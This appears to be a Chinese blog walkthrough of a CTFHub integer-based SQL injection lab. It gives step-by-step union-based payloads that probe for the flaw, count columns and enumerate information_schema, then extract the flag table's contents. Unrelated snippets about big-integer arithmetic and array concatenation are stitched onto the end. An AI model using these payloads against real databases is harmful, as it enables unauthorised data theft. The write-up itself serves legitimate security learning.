CTFHub 整數型SQL注入

2021-10-03 15:42:43 字數 3051 閱讀 8106

1、整數型sql注入

(1)判斷是否存在注入

1)加單引號

url:

對應的sql:select * from table where id=3』 這時sql語句出錯,程式無法正常從資料庫中查詢出資料,就會丟擲異常;

2)加and 1=1

url: and 1=1

對應的sql:select * from table where id=3』 and 1=1 語句執行正常,與原始頁面如任何差異;

3)加and 1=2

url: and 1=2

對應的sql:select * from table where id=3 and 1=2 語句可以正常執行,但是無法查詢出結果,所以返回資料與原始網頁存在差異

如果滿足以上三點,則可以判斷該url存在數字型注入。

(2)查詢字段數量

url: order by 2

當id=1 order by 2時,頁面返回與id=1相同的結果;而id=1 order by 3時不一樣,故欄位數量是2。

(3)查詢sql語句插入位置

url: union select 1,2

此時要先保證之前的資料查不出來,之後再union。id=-1資料不存在資料庫中。可以看到位置2可以插入sql語句。

(4)獲取資料庫庫名

1)獲取當前資料庫庫名

2位置修改為:database(),version()

url: union select 1,database()

得到資料庫名稱為:sqli,由資料庫版本可知他是mysql的乙個分支

2)獲取所有資料庫庫名

3)逐條獲取資料庫庫名

語句:select schema_name from information_schema.schemata limit 0,1;

修改limit中第乙個數字獲取其他的資料庫名,如獲取第二個庫名:limit 1,1。

(5)獲取資料庫表名

1)方法一:一次獲取乙個表名

2位置修改:select table_name from information_schema.tables where table_schema='sqli' limit 0,1;

得到資料庫表名:news。修改limit中第乙個數字,如獲取第二個表名:limit 1,1,這樣就可以獲取所有的表名。

2)方法二:一次性獲取當前資料庫所有表名:

url:

union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'

得到資料庫sqli中的表名為news和flag

(6)獲取欄位名

1)方法一:

以flag表為例,2位置修改為:

select column_name from information_schema.columns where table_schema='sqli' and table_name='flag' limit 0,1;

url:

union select 1,(select column_name from information_schema.columns where table_schema='sqli' and table_name='flag' limit 0,1)

看到flag表中第乙個欄位是flag, 修改limit中第乙個數字,如獲取第二個欄位名:limit 1,1,依次類推,發現flag表中的欄位名稱只有乙個flag。

2)方法二:

以flag表為例,一次性獲取所有欄位名:

(7)獲取資料

1)方法一:

以emails表為例,2位置修改為:

(select flag from sqli.flag limit 0,1)

url: union select 1,(select flag from sqli.flag limit 0,1)

可以得到flag表中的第一條資料,修改limit中第乙個數字,如獲取第二個字段值

2)方法二:

以flag表為例,一次性獲取所有資料:

url: union select 1,group_concat(flag) from sqli.flag

CTFHub 字元型SQL注入

目錄 一 判斷是否存在注入 二 判斷select語句中有幾列 三 判斷顯示的資訊是第幾列的資訊 四 利用函式來收集資料庫資訊 五 通過union查詢資料庫 1 獲取所有資料庫名稱 2 查詢資料庫中有多少個表 3 查詢指定資料庫中的表名 4 查詢指定資料庫指定表中的列名 5 查詢指定資料庫指定表的列的...

大整數型運算

設n 是m位,則可以得到下列推導過程 基於十進位制數 10 m 1 n 10 m 1 兩邊同時取對數 m 1 n 10 m 1 接下來設定二重迴圈,模擬整數豎式乘法實施個陣列元素的累乘,演算法如下 main printf d n for j m j 1 j printf d a j 接下來再說說大整...

整數型陣列元素拼接問題

找給定的整數型陣列中將數拼接成的正整數中最小的,如給定 123 321 則形成的最小的整數字123321 利用stl中的演算法快速實現,如下 include include include include using namespace std bool compare const string s...